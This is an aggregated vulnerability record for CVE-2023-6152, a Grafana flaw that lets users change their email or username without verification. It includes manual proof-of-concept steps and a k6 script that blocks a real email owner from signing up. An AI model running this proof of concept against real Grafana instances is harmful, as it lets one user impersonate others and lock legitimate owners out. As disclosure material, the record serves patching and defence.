{"id":"CVE-2023-6152","aliases":["CVE-2023-6152","GHSA-3hv4-r2fm-h27f","BIT-GRAFANA-2023-6152"],"related":[],"kind":"vulnerability","state":"published","title":"Email Validation Bypass And Preventing Sign Up From Email's Owner","summary":"A user changing their email after signing up and verifying it can change it without verification in profile settings.\n\nThe configuration option \"verify_email_enabled\" will only validate email only on sign up.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"A user changing their email after signing up and verifying it can change it without verification in profile settings.\n\nThe configuration option \"verify_email_enabled\" will only validate email only on sign up.","source":"cvelist"},{"lang":"en","text":"### Summary\nEmail validation can easily be bypassed because `verify_email_enabled` option enable email validation at sign up only.\nA user changing it's email after signing up (and verifying it) can change it without verification in `/profile`.\nThis can be used to prevent legitimate owner of the email address from signing up.\n\nAnother way to prevent email's owner from signing up is by setting Username as an email:\nWhen a new user is registrering, they can set two different email addresses in the Email and Username field, technically having 2 email addresses (because Grafana handles usernames and emails the same in some situations), but only the former is validated.\n\n![](https://user-images.githubusercontent.com/44581623/282073913-c1a8c20b-b6c3-46eb-840c-9e0dae718a2a.png)\n\nHere user a prevents owner of bar@example.com to signup.\n\n### Details\nI don't know exact location but this is related to PUT /api/user handler.\n\n### PoC\nBypass email validation:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change email to  bar@example.com\n* That's it, your using an email you don't own.\n\nPrevent email's owner from signing up:\n* Start a new grafana instance using latest version\n* Sign up with email foo@example.\n* Login to that account.\n* Go to profile and change username (not email) to [bar@example.com](mailto:bar@example.com)\n* Signout.\n* Try to sign up with email [b@example.com](mailto:b@example.com)\n* Warning popup \"User with same email address already exists\"\n\nK6 script (with `verify_email_enabled` set to `false`):\n```js\nimport { check, group } from \"k6\"\nimport http from \"k6/http\"\n\nexport const options = {\n  scenarios: {\n    perVuIter: {\n      executor: 'per-vu-iterations',\n      vus: 1,\n      iterations: 1\n    }\n  }\n}\n\nconst GRAFANA_URL = __ENV.GRAFANA_URL || \"http://localhost:3000\"\n\nexport default function () {\n  group(\"create user_a with email foo@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  group(\"change user_a login to bar@example.com\", () => {\n    const response = http.put(`${GRAFANA_URL}/api/user`, JSON.stringify({\n      \"email\": \"foo@example.com\",\n      \"login\": \"bar@example.com\", // user_b email.\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200\n    })\n  })\n\n  http.cookieJar().clear(GRAFANA_URL)\n\n  group(\"create user_b with email bar@example.com\", () => {\n    const response = http.post(`${GRAFANA_URL}/api/user/signup/step2`, JSON.stringify({\n      \"email\": \"bar@example.com\",\n      \"username\": \"bar@example.com\",\n      \"password\": \"password\"\n    }), {\n      headers: {\n        'Content-Type': \"application/json\"\n      }\n    })\n\n    check(response, {\n      'status code is 200': (r) => r.status == 200 // fail\n    })\n  })\n}\n```\n\n### Impact\nBypass email verification.\nPrevent legitimate owner from signing up.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Un usuario que cambia su correo electrónico después de registrarse y verificarlo puede cambiarlo sin verificación en la configuración del perfil. La opción de configuración \"verify_email_enabled\" solo validará el correo electrónico al registrarse.","source":"nvd"}],"published":"2024-02-13T21:38:01.404Z","modified":"2026-09-08T08:47:51.235Z","severity":{"scorer":"GRAFANA","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},"severities":[{"scorer":"GRAFANA","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L","score":5.4,"rating":"MEDIUM"},{"scorer":"Bitnami Vulnerability Database","scheme":"rating","rating":"MEDIUM"}],"cwes":["CWE-863"],"affected":[{"ranges":[{"type":"semver","introduced":"2.5.0","fixed":"9.5.16","status":"affected"},{"type":"semver","introduced":"10.0.0","fixed":"10.0.11","status":"affected"},{"type":"semver","introduced":"10.1.0","fixed":"10.1.7","status":"affected"},{"type":"semver","introduced":"10.2.0","fixed":"10.2.4","status":"affected"},{"type":"semver","introduced":"10.3.0","fixed":"10.3.3","status":"affected"}],"vendor":"Grafana","product":"Grafana","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.5.0","fixed":"9.5.16","status":"affected"},{"type":"semver","introduced":"10.0.0","fixed":"10.0.11","status":"affected"},{"type":"semver","introduced":"10.1.0","fixed":"10.1.7","status":"affected"},{"type":"semver","introduced":"10.2.0","fixed":"10.2.4","status":"affected"},{"type":"semver","introduced":"10.3.0","fixed":"10.3.3","status":"affected"}],"vendor":"Grafana","product":"Grafana Enterprise","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"2.5.0","fixed":"9.5.16","status":"affected"},{"type":"custom","introduced":"10.0.0","fixed":"10.0.11","status":"affected"},{"type":"custom","introduced":"10.10","fixed":"10.1.7","status":"affected"},{"type":"custom","introduced":"10.2.0","fixed":"10.2.4","status":"affected"},{"type":"custom","introduced":"10.3.0","fixed":"10.3.3","status":"affected"}],"vendor":"grafana","product":"grafana","cpe":"cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"2.5.0","fixed":"9.5.16","status":"affected"},{"type":"custom","introduced":"10.0.0","fixed":"10.0.11","status":"affected"},{"type":"custom","introduced":"10.10","fixed":"10.1.7","status":"affected"},{"type":"custom","introduced":"10.2.0","fixed":"10.2.4","status":"affected"},{"type":"custom","introduced":"10.3.0","fixed":"10.3.3","status":"affected"}],"vendor":"grafana","product":"grafana_enterprise","cpe":"cpe:2.3:a:grafana:grafana_enterprise:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"2.5.0","status":"affected","fixed":"9.5.16"}],"ecosystem":"Go","package":"github.com/grafana/grafana","purl":"pkg:golang/github.com/grafana/grafana","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"10.0.0","status":"affected","fixed":"10.0.11"}],"ecosystem":"Go","package":"github.com/grafana/grafana","purl":"pkg:golang/github.com/grafana/grafana","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"10.1.0","status":"affected","fixed":"10.1.7"}],"ecosystem":"Go","package":"github.com/grafana/grafana","purl":"pkg:golang/github.com/grafana/grafana","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"10.2.0","status":"affected","fixed":"10.2.4"}],"ecosystem":"Go","package":"github.com/grafana/grafana","purl":"pkg:golang/github.com/grafana/grafana","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"10.3.0","status":"affected","fixed":"10.3.3"}],"ecosystem":"Go","package":"github.com/grafana/grafana","purl":"pkg:golang/github.com/grafana/grafana","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"2.5.0"},{"status":"affected","version":"10.0.0"},{"status":"affected","version":"10.1.0"},{"status":"affected","version":"10.2.0"},{"status":"affected","version":"10.3.0"}],"vendor":"grafana","product":"grafana","cpe":"cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"semver","introduced":"2.5.0","status":"affected","fixed":"9.5.16"},{"type":"semver","introduced":"10.0.0","status":"affected","fixed":"10.0.11"},{"type":"semver","introduced":"10.1.0","status":"affected","fixed":"10.1.7"},{"type":"semver","introduced":"10.2.0","status":"affected","fixed":"10.2.4"},{"type":"semver","introduced":"10.3.0","status":"affected","fixed":"10.3.3"}],"ecosystem":"Bitnami","package":"grafana","purl":"pkg:bitnami/grafana","source":"bitnami"}],"references":[{"url":"https://grafana.com/security/security-advisories/cve-2023-6152/","tags":["advisory","vendor-advisory","x-transferred"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://github.com/grafana/bugbounty/security/advisories/GHSA-3hv4-r2fm-h27f","tags":["advisory","exploit","vendor-advisory","web","x-transferred"],"sources":["cvelist","ghsa","nvd","bitnami"]},{"url":"https://security.netapp.com/advisory/ntap-20250214-0008/","tags":["web"],"sources":["cvelist","nvd","bitnami"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-6152","tags":["advisory","web"],"sources":["ghsa","bitnami"]},{"url":"https://github.com/grafana/grafana","tags":["package"],"sources":["ghsa"]},{"url":"https://grafana.com/security/security-advisories/cve-2023-6152","tags":["web"],"sources":["ghsa"]},{"url":"https://security.netapp.com/advisory/ntap-20250214-0008","tags":["web"],"sources":["ghsa"]}],"credits":[],"assigner":"GRAFANA","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2024-08-22T15:42:45.786Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2023-6152","url":"https://www.cve.org/CVERecord?id=CVE-2023-6152","licence":"CVE Terms of Use","modified":"2025-02-15T00:10:28.890Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-3hv4-r2fm-h27f","url":"https://github.com/advisories/GHSA-3hv4-r2fm-h27f","licence":"CC-BY-4.0","modified":"2026-08-07T08:12:23.832Z"},{"source":"nvd","name":"NVD","id":"CVE-2023-6152","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-6152","licence":"Public domain","modified":"2026-06-17T06:50:09.507Z"},{"source":"bitnami","name":"Bitnami Vulnerability Database","id":"BIT-GRAFANA-2023-6152","url":"https://osv.dev/vulnerability/BIT-GRAFANA-2023-6152","licence":"Apache-2.0","modified":"2026-09-08T08:47:51.235Z"}],"updatedAt":"2026-11-25T22:58:32.902Z","epss":{"score":0.01385,"percentile":0.73019,"date":"2026-12-01T12:00:22.000Z"}}